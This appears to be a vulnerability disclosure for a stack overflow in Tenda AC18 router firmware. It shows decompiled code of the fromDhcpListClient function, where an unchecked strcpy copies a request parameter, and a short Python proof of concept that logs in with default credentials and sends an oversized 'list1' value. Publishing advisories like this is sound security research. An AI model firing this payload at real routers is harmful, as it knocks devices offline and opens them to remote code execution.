ᛘ main ⌄

Router-vuls / **Tenda** / **AC18** / **fromDhcpListClient-list.md**

CPSeek Create fromDhcpListClient-list.md   ⟳ History

⧑ **1 contributor**

≣ 96 lines (78 sloc) | 2.52 KB   ...

Tenda AC18 stack overflow vulnerability

* Version

V15.03.05.19_multi ac18_kf_V15.03.05.19(6318_)_cn.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2683.html

* Vulnerability Detail

In function fromDhcpListClient, the strings "%s%d" and "list" are combined into a new parameter "list*". The content obtained by the program from the parameter "list*" is passed to local_20, and then the local_20 is directly copied into the acStack545 + 1 stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void fromDhcpListClient(undefined4 param_1)

{
  size_t sVar1;
  int iVar2;
```

```
    undefined4 local_370;
    undefined4 local_36c;
    undefined4 local_368;
    undefined4 local_364;
    undefined local_360;
    char acStack608 [63];
    char acStack545 [257];
    char acStack288 [256];
    char *local_20;
    undefined4 local_1c;
    char *local_18;
    int local_14;

    local_14 = 0;
    memset(acStack608,0,0x40);
    local_18 = (char *)FUN_0002ba8c(param_1,"LISTLEN",&DAT_000ee1a8);
    local_1c = FUN_0002ba8c(param_1,"page",&DAT_000ee1b4);
    local_360 = 0;
    local_14 = 1;
    while (iVar2 = atoi(local_18), local_14 <= iVar2) {
      local_370 = 0;
      local_36c = 0;
      local_368 = 0;
      local_364 = 0;
      sprintf((char *)&local_370,"%s%d","list",local_14);
      local_20 = (char *)FUN_0002ba8c(param_1,&local_370,&DAT_000ee1c8);
      if ((local_20 == (char *)0x0) || (*local_20 == '\0')) break;
      /*
      overflow
      */
      strcpy(acStack545 + 1,local_20 + 1);   //here is overflow
      sVar1 = strlen(acStack545 + 1);
      acStack545[sVar1] = '\0';
      sprintf(acStack608,"dhcps.Staticip%d",local_14);
      SetValue(acStack608,acStack545 + 1);
      local_14 = local_14 + 1;
    }
    SetValue("dhcps.Staticnum",local_18);
    sprintf(acStack288,"/network/lan_dhcp_static.asp?page=%s",local_1c);
    iVar2 = CommitCfm();
    if (iVar2 != 0) {
      PostMsgToNetctrl(3);
    }
    FUN_0002be4c(param_1,acStack288);
    return;
  }
```

* POC

```python
import requests


cmd  = b'LISTLEN=1&page=&list1=' + b'A' * 800


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/DhcpListClient/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```